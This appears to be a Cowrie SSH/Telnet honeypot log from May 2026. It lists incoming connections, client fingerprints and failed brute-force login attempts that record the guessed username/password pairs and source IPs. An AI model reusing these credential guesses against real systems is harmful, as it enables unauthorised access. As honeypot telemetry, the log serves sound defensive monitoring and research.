{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:46:53.124096Z","src_ip":"114.141.59.195","session":"00dab16b8be5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:46:53.399053Z","src_ip":"114.141.59.195","session":"00dab16b8be5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00ted","message":"login attempt [root/r00ted] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:46:54.416865Z","src_ip":"114.141.59.195","session":"00dab16b8be5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:46:55.662926Z","src_ip":"114.141.59.195","session":"00dab16b8be5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.53934907913208,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:46:55.765281Z","src_ip":"45.118.159.159","session":"55b16c86936a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":33328,"dst_ip":"10.17.0.5","dst_port":22,"session":"da0ab335e317","protocol":"ssh","message":"New connection: 5.182.83.231:33328 (10.17.0.5:22) [session: da0ab335e317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:47:46.832070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:47:46.837101Z","src_ip":"5.182.83.231","session":"da0ab335e317","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:47:46.955054Z","src_ip":"5.182.83.231","session":"da0ab335e317","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"#password#","message":"login attempt [root/#password#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:47:47.456677Z","src_ip":"5.182.83.231","session":"da0ab335e317","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:47:48.575650Z","src_ip":"5.182.83.231","session":"da0ab335e317","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00183367729187,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:48:16.673899Z","src_ip":"173.33.197.75","session":"95ec50f9b98a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00166535377502,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:48:32.274045Z","src_ip":"173.33.197.75","session":"88f1ce7a22f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.33.197.75","src_port":56052,"dst_ip":"10.17.0.5","dst_port":23,"session":"01ee520ced53","protocol":"telnet","message":"New connection: 173.33.197.75:56052 (10.17.0.5:23) [session: 01ee520ced53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:48:41.692910Z"}
{"eventid":"cowrie.session.connect","src_ip":"196.204.71.189","src_port":37849,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a407bc3f449","protocol":"ssh","message":"New connection: 196.204.71.189:37849 (10.17.0.5:22) [session: 1a407bc3f449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:48:54.721159Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:48:54.726962Z","src_ip":"196.204.71.189","session":"1a407bc3f449","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":28534,"dst_ip":"10.17.0.5","dst_port":22,"session":"88f359780604","protocol":"ssh","message":"New connection: 2.57.121.25:28534 (10.17.0.5:22) [session: 88f359780604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:49:29.535877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:49:29.541334Z","src_ip":"2.57.121.25","session":"88f359780604","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:49:29.641207Z","src_ip":"2.57.121.25","session":"88f359780604","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"bonzo","message":"login attempt [user/bonzo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:49:30.116461Z","src_ip":"2.57.121.25","session":"88f359780604","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"blueman","message":"login attempt [user/blueman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:49:31.218407Z","src_ip":"2.57.121.25","session":"88f359780604","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"bluedevi","message":"login attempt [user/bluedevi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:49:32.320879Z","src_ip":"2.57.121.25","session":"88f359780604","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"blower","message":"login attempt [user/blower] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:49:33.425457Z","src_ip":"2.57.121.25","session":"88f359780604","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"blaise","message":"login attempt [user/blaise] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:49:34.528949Z","src_ip":"2.57.121.25","session":"88f359780604","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:49:35.630774Z","src_ip":"2.57.121.25","session":"88f359780604","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":47494,"dst_ip":"10.17.0.5","dst_port":22,"session":"92be9045a9e5","protocol":"ssh","message":"New connection: 5.182.83.231:47494 (10.17.0.5:22) [session: 92be9045a9e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:50:36.388012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:50:36.392017Z","src_ip":"5.182.83.231","session":"92be9045a9e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:50:36.510105Z","src_ip":"5.182.83.231","session":"92be9045a9e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword_123","message":"login attempt [root/P@ssword_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:50:37.009675Z","src_ip":"5.182.83.231","session":"92be9045a9e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:50:38.131598Z","src_ip":"5.182.83.231","session":"92be9045a9e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00124382972717,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:50:41.694025Z","src_ip":"173.33.197.75","session":"01ee520ced53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.120.248.240","src_port":44114,"dst_ip":"10.17.0.5","dst_port":23,"session":"4548359ffe43","protocol":"telnet","message":"New connection: 190.120.248.240:44114 (10.17.0.5:23) [session: 4548359ffe43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:50:51.529279Z"}
{"eventid":"cowrie.session.closed","duration":13.735440969467163,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:51:05.264603Z","src_ip":"190.120.248.240","session":"4548359ffe43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.217","src_port":64130,"dst_ip":"159.203.135.109","dst_port":22,"session":"6485cf1454df","protocol":"ssh","message":"New connection: 198.235.24.217:64130 (159.203.135.109:22) [session: 6485cf1454df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:52:23.273435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:52:24.422007Z","src_ip":"198.235.24.217","session":"6485cf1454df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:52:25.551604Z","src_ip":"198.235.24.217","session":"6485cf1454df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.8","message":"Connection lost after 10.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:52:34.049042Z","src_ip":"198.235.24.217","session":"6485cf1454df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.145.57.73","src_port":48168,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6f36542926b","protocol":"telnet","message":"New connection: 209.145.57.73:48168 (10.17.0.5:23) [session: a6f36542926b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:52:50.238235Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":56366,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea1fae868262","protocol":"ssh","message":"New connection: 114.141.59.195:56366 (159.203.135.109:22) [session: ea1fae868262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:53:15.766591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:53:15.771636Z","src_ip":"114.141.59.195","session":"ea1fae868262","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:53:16.021611Z","src_ip":"114.141.59.195","session":"ea1fae868262","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc159357","message":"login attempt [root/abc159357] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:53:17.009155Z","src_ip":"114.141.59.195","session":"ea1fae868262","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":37392,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b9a6b93464e","protocol":"ssh","message":"New connection: 5.182.83.231:37392 (10.17.0.5:22) [session: 7b9a6b93464e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:53:17.751901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:53:17.756746Z","src_ip":"5.182.83.231","session":"7b9a6b93464e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:53:17.875035Z","src_ip":"5.182.83.231","session":"7b9a6b93464e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:53:18.256787Z","src_ip":"114.141.59.195","session":"ea1fae868262","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1qaz2wsx","message":"login attempt [postgres/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:53:18.379081Z","src_ip":"5.182.83.231","session":"7b9a6b93464e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:53:19.500654Z","src_ip":"5.182.83.231","session":"7b9a6b93464e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":59780,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9e6de1c187f","protocol":"ssh","message":"New connection: 87.251.64.176:59780 (10.17.0.5:22) [session: f9e6de1c187f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:53:21.610564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:53:21.615910Z","src_ip":"87.251.64.176","session":"f9e6de1c187f","protocol":"ssh"}
